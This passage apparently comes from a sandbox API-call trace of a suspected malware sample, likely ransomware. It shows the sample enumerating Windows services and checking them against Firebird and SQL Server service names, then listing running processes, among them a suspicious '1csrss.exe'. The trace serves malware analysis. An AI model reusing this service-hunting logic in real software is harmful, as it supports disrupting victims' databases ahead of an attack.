lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0285.943] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0285.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0285.943] lstrlenW (lpString="PlugPlay") returned 8 [0285.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0285.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0285.944] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0285.944] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0285.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0285.944] lstrlenW (lpString="Power") returned 5 [0285.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0285.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0285.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0285.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0285.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0285.944] lstrlenW (lpString="ProfSvc") returned 7 [0285.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0285.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0285.945] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0285.945] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0285.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0285.945] lstrlenW (lpString="RpcEptMapper") returned 12 [0285.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.945] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0285.945] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0285.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0285.945] lstrlenW (lpString="RpcSs") returned 5 [0285.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0285.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0285.945] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0285.945] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0285.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0285.945] lstrlenW (lpString="SamSs") returned 5 [0285.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0285.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0285.945] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0285.945] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0285.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0285.945] lstrlenW (lpString="Schedule") returned 8 [0285.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0285.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0285.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0285.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0285.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0285.945] lstrlenW (lpString="SecurityHealthService") returned 21 [0285.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.945] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0285.945] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0285.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0285.945] lstrlenW (lpString="SENS") returned 4 [0285.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0285.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0285.946] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0285.946] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0285.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0285.946] lstrlenW (lpString="ShellHWDetection") returned 16 [0285.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.946] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0285.946] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0285.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0285.946] lstrlenW (lpString="Spooler") returned 7 [0285.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0285.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0285.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0285.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0285.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0285.947] lstrlenW (lpString="SSDPSRV") returned 7 [0285.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0285.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0285.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0285.947] lstrlenW (lpString="StateRepository") returned 15 [0285.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0285.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0285.947] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0285.947] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0285.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0285.948] lstrlenW (lpString="SysMain") returned 7 [0285.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0285.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0285.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0285.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0285.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0285.948] lstrlenW (lpString="SystemEventsBroker") returned 18 [0285.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0285.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0285.948] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f8ae98 | out: hHeap=0x6e0000) returned 1 [0285.948] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0286.955] Process32FirstW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.955] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0286.956] lstrlenW (lpString="System") returned 6 [0286.956] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0286.957] lstrlenW (lpString="smss.exe") returned 8 [0286.957] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.958] lstrlenW (lpString="csrss.exe") returned 9 [0286.958] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0286.959] lstrlenW (lpString="wininit.exe") returned 11 [0286.959] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.959] lstrlenW (lpString="csrss.exe") returned 9 [0286.959] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0286.960] lstrlenW (lpString="winlogon.exe") returned 12 [0286.960] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0286.961] lstrlenW (lpString="services.exe") returned 12 [0286.961] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0286.962] lstrlenW (lpString="lsass.exe") returned 9 [0286.962] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0286.962] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0286.962] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0286.963] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0286.963] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.964] lstrlenW (lpString="svchost.exe") returned 11 [0286.964] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.965] lstrlenW (lpString="svchost.exe") returned 11 [0286.965] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0286.965] lstrlenW (lpString="dwm.exe") returned 7 [0286.965] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.966] lstrlenW (lpString="svchost.exe") returned 11 [0286.966] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.967] lstrlenW (lpString="svchost.exe") returned 11 [0286.967] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.968] lstrlenW (lpString="svchost.exe") returned 11 [0286.968] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.968] lstrlenW (lpString="svchost.exe") returned 11 [0286.968] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.969] lstrlenW (lpString="svchost.exe") returned 11 [0286.969] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.970] lstrlenW (lpString="svchost.exe") returned 11 [0286.970] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.971] lstrlenW (lpString="svchost.exe") returned 11 [0286.971] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.971] lstrlenW (lpString="svchost.exe") returned 11 [0286.971] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.972] lstrlenW (lpString="svchost.exe") returned 11 [0286.972] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.973] lstrlenW (lpString="svchost.exe") returned 11 [0286.973] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0286.974] lstrlenW (lpString="spoolsv.exe") returned 11 [0286.974] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0286.975] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0286.975] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0286.975] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0286.975] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0286.976] lstrlenW (lpString="Memory Compression") returned 18 [0286.976] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.977] lstrlenW (lpString="svchost.exe") returned 11 [0286.977] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0286.978] lstrlenW (lpString="audiodg.exe") returned 11 [0286.978] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0286.979] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0286.979] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0286.979] lstrlenW (lpString="sihost.exe") returned 10 [0286.979] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.980] lstrlenW (lpString="svchost.exe") returned 11 [0286.980] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0286.981] lstrlenW (lpString="taskhostw.exe") returned 13 [0286.981] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0286.982] lstrlenW (lpString="msoia.exe") returned 9 [0286.982] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0286.982] lstrlenW (lpString="explorer.exe") returned 12 [0286.982] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0286.983] lstrlenW (lpString="SearchUI.exe") returned 12 [0286.983] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0286.984] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0286.984] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0286.985] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0286.985] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0286.985] lstrlenW (lpString="1csrss.exe") returned 10 [0286.985] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.986] lstrlenW (lpString="svchost.exe") returned 11 [0286.986] Process32NextW (in: hSnapshot=0x394, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0286.987] CloseHandle (hObject=0x394) returned 1 [0286.987] Sleep (dwMilliseconds=0x1f4) [0287.489] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddea8 [0287.489] EnumServicesStatusExW (in: hSCManager=0x7ddea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0287.490] GetLastError () returned 0xea [0287.490] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x3f8ae98 [0287.490] EnumServicesStatusExW (in: hSCManager=0x7ddea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f8ae98, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f8ae98, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0287.491] CloseServiceHandle (hSCObject=0x7ddea8) returned 1 [0287.491] lstrlenW (lpString="AppXSvc") returned 7 [0287.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0287.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0287.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0287.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0287.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0287.491] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0287.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0287.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0287.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0287.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0287.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0287.491] lstrlenW (lpString="Audiosrv") returned 8 [0287.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0287.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0287.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0287.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0287.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0287.491] lstrlenW (lpString="BFE") returned 3 [0287.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0287.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0287.491] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0287.491] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0287.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0287.492] lstrlenW (lpString="BITS") returned 4 [0287.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0287.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0287.492] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0287.492] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0287.492] lstrcmpiW (lpString1="sqlserveradhelper", 